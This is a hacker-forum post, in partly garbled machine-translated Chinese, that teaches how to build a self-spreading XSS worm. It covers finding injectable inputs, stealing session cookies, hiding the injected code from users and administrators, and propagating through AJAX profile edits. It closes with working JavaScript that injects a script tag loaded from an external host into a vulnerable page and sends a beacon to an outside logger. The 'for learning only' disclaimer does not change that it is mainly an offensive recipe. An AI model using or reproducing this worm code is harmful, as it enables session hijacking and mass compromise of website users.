[防火墙交流] XSS蠕虫病毒(很久没发帖了)

475 3
HK.JH 2022-11-13 14:04:52 来自手机 | 显示全部楼层 |阅读模式
XSS蠕虫病毒

第一步

找到一个网站。


第二步

网站上找到一个不安全的输入。任何地方,你看到输入尝试插入一些java脚本,看看它是否是脆弱的。XSS蠕虫依赖于Java脚本所以没有它蠕虫无法工作。一个好的测试应该是这样的:
<script>警报(“XSS”)</script>
显然,它可以更深入,但这是一个很好的第一步。阅读一些关于js注入的文章,了解更多关于寻找漏洞的信息。


第三步

决定你想让你的虫子做什么。你可以让它偷饼干,也可以覆盖页面,尝试找到你想要的任何东西。我个人只是为了嘘嘘和咯咯笑,只需要一个cookie偷取器(这通常是一个无用的会话ID,也阅读有关会话劫持)和计数器在我的。Cookie盗取者除了向用户记录时间戳外,几乎什么也不做。大多数站点使用会话来存储数据,而不仅仅是cookie,如果它们确实使用cookie,那么您可以更多地控制和访问信息:)。

时间来解释他们是如何工作的。您可以使用java<b></b>脚本(以及php或其他脚本语言来记录任何内容)。您需要以某种方式找到一个易受xss的页面,并且该页面必须能够被浏览该站点的其他人看到。在大多数情况下,任何在用户控制面板中找到的东西都不起作用。什么将工作将像个人资料页(如myspace)或论坛。

然后需要使用某种方式(AJAX)复制一组代码。例如,假设Myspace上的一个用户登录了,查看了您的个人资料页,并且现在感染了蠕虫病毒。当他们查看您的个人资料页面时,ajax脚本会在后台发送信息,以更改登录用户的资料,使其包含相同的java<b></b>脚本代码。然后,这个人的配置文件感染了蠕虫病毒,任何查看该配置文件的人都被感染了,这是一个连续的循环。还请注意,使用ajax的好处不仅在于能够隐藏后台的所有函数,而且它允许您发送POST请求,而重定向发送get变量则更加明显,许多表单可能不会接受它。

下面最大的问题是,如果用户可以更改输入,则可能会看到注入的输入。您可以在js/html中使用您的创造力来寻找人们永远不会怀疑js代码被隐藏的地方。您还可以包含来自外部站点的js,或者使用蠕虫将所有js直接注入到页面上。我个人喜欢使用外部站点,因为您可以更改js做什么和/或阻止蠕虫,如果您选择这样做,而您的其他智者不能。在发现漏洞后,通常对用户/管理员隐藏代码是最困难的部分。


第四步

了解Java脚本代码的使用(阅读代码注释)。这个页面会是http://themostbasic.nonhidden/formofincludingjs

编码:

function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires;
} // create a cookie
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
} // read a cookie


var qcd = readCookie('fake'); /* you need a way so when a user already infected views the page they don't get the worm again. Their are other ways of doing this, but i figure since you have access to js on the site, why not create cookies on the site :-p. If you are worried about someone noticing a cookie that doesn't normally exist on their system, just change the method used */

if( qcd != "592570942") // if the cookie doesn't exist, insert the worm.
{

var inject = "<script src='http://themostbasic.nonhidden/formofincludingjs'></script>";


if (window.ActiveXObject){
var http = new ActiveXObject("Microsoft.XMLHTTP");
} // this will only work on IE users, search ajax to learn how to make this code cross-browser compatable.
http.open("GET", "http://www.site.com/vulnerablepage.php?injectionvariable="+inject, true);
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
tell = http.responseText;
}
}
http.send(null);
http.close;

new Image().src='http://externalsite.com/logger.php?redirect=thispage'; // this is optional, it will send the user to an external site to log information. If you know how, do this without redirecting and in the background alog with the ajax to make it 100% hidden.

createCookie('fake','592570942','25');
}



第五步

请在受控环境中尝试。

声明:我对你的行为不承担任何责任,仅供学习 !
邵江琦 2022-12-23 13:32:58 | 显示全部楼层
学到了
感谢
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行